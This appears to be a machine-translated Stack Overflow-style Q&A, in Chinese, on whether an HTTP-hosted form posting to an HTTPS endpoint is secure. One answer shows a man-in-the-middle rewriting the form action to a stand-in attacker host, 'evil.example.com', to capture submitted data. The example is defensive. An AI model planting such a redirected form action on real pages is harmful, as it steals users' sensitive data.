我有一个网站http://foo.com。我有另一个网站https://bar.com。如果我将表格从非安全的foo.com提交到安全的bar.com,交易是否加密?
示例:
http://foo.com/form.html
<form action="https://bar.com/process.php" method="post">
...inputs, validation, and form happiness...
</form>
我的用例是通过电子邮件发送给用户的表单,其中可能包含需要提交到我们网站(具有SSL)的敏感信息。该表单将是一个附件,可以从他们的桌面打开并填写,然后提交给我们的服务器。有没有办法加密这种沟通?
我发现了两个可能相关的问题,这些问题给出了相互矛盾的答案:
Secure Cross Domain Form Submission
[是的,它是安全的,但是]本质上不安全。主机上的SSL不相关,第三方服务器上的SSL是。但是,您必须将帖子设置为“https:// ...”而不仅仅是“http://”,它不足以成为“安全服务器”,您必须安全地调用它。
Securing Forms submitting to a diffrent domain
一种简单的方法是使用HTTPS,但只要两者都可以是HTTPS。他们还必须都有SSL证书。
答案 0 :(得分:1)
由于表单将发布到安全服务器https://bar.com/process.php,因此数据将与请求一起加密。另一方面,即使表单已托管在受保护的https://bar.com/form.html上但已发布到非安全http://foo.com/process.html
,它也不会安全。以下摘录自Mozilla开发者网络上的“发送表单数据”
注意:可以指定使用HTTPS的URL(安全HTTP) 协议。执行此操作时,数据将与其余数据一起加密 请求,即使表单本身托管在不安全的页面上 使用HTTP访问。另一方面,如果表单是托管的 安全页面,但您使用操作指定了不安全的HTTP URL 属性,所有浏览器都向用户显示安全警告 他们尝试发送数据的时间,因为数据不会被加密。 参考:Sending form data: MDN Article
答案 1 :(得分:1)
是的,它是加密的。不,这不安全。
原因是用户无法保证表单是安全的。一个Man-In-The-Middle可以截获http://foo.com
的回复并将表单更改为:
<form action="https://evil.example.com/process.php" method="post">
...inputs, validation, and form happiness...
</form>
并且用户不会更明智地发送不安全的数据,直到马用螺栓固定。 evil.example.com
可能会重定向回https://bar.com
以降低其检测机会。
底线:始终将敏感表单放在HTTPS页面上。这样可以确保用户提交的数据在传输过程中是安全的。